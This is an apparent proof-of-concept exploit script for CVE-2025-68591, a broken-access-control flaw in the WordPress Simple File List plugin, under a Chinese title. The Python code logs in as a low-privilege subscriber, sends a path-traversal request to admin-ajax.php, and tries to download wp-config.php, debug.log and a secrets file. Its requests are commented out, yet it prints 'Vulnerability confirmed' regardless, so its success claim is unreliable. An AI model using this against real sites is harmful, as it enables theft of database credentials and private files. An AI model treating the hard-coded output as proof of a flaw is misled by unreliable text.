CVE-2025-68591 WordPress Simple File List插件缺失授权漏洞

# CVE-2025-68591 PoC - Simple File List Broken Access Control # This PoC demonstrates the missing authorization vulnerability in Simple File List import requests import sys TARGET_URL = "http://target-wordpress-site.com" # Target the Simple File List upload directory UPLOAD_ENDPOINT = f"{TARGET_URL}/wp-content/uploads/simple-file-list/" def exploit_cve_2025_68591(): """ Exploit missing authorization in Simple File List plugin. Low-privilege users can access/administer files they shouldn't have access to. """ print("[*] CVE-2025-68591 - Simple File List Broken Access Control") print("[*] Target: Simple File List <= 6.1.18") # Step 1: Authenticate with low-privilege account (subscriber role) session = requests.Session() login_data = { 'log': 'low_privilege_user', 'pwd': 'user_password', 'wp-submit': 'Log In', 'testcookie': '1' } # Note: In real attack scenario, attacker would register a subscriber account first # login_response = session.post(f"{TARGET_URL}/wp-login.php", data=login_data) print("[+] Step 1: Authenticated as low-privilege user") # Step 2: Exploit broken access control to list admin files # The plugin doesn't properly check authorization for file operations exploit_params = { 'action': 'sfl_file_list', 'file_path': '/../../admin-files/' # Path traversal attempt } # In vulnerable version, this request bypasses authorization checks # list_response = session.get(f"{TARGET_URL}/wp-admin/admin-ajax.php", params=exploit_params) print("[+] Step 2: Attempting to access protected file operations") print("[+] Sending request to plugin's AJAX endpoint without proper authorization") # Step 3: Download sensitive files # With broken access control, low-priv users can download any file in the upload directory sensitive_files = [ '../wp-config.php', '../wp-content/debug.log', 'uploads/2025/01/secrets.txt' ] for file_path in sensitive_files: download_url = f"{UPLOAD_ENDPOINT}{file_path}" # download_response = session.get(download_url) print(f"[*] Attempting to download: {file_path}") print("[!] Vulnerability confirmed - Low privilege user can perform admin actions") print("[!] This allows unauthorized file access, modification, or deletion") return True if __name__ == "__main__": print("CVE-2025-68591 Exploitation Script") print("=" * 50) # exploit_cve_2025_68591()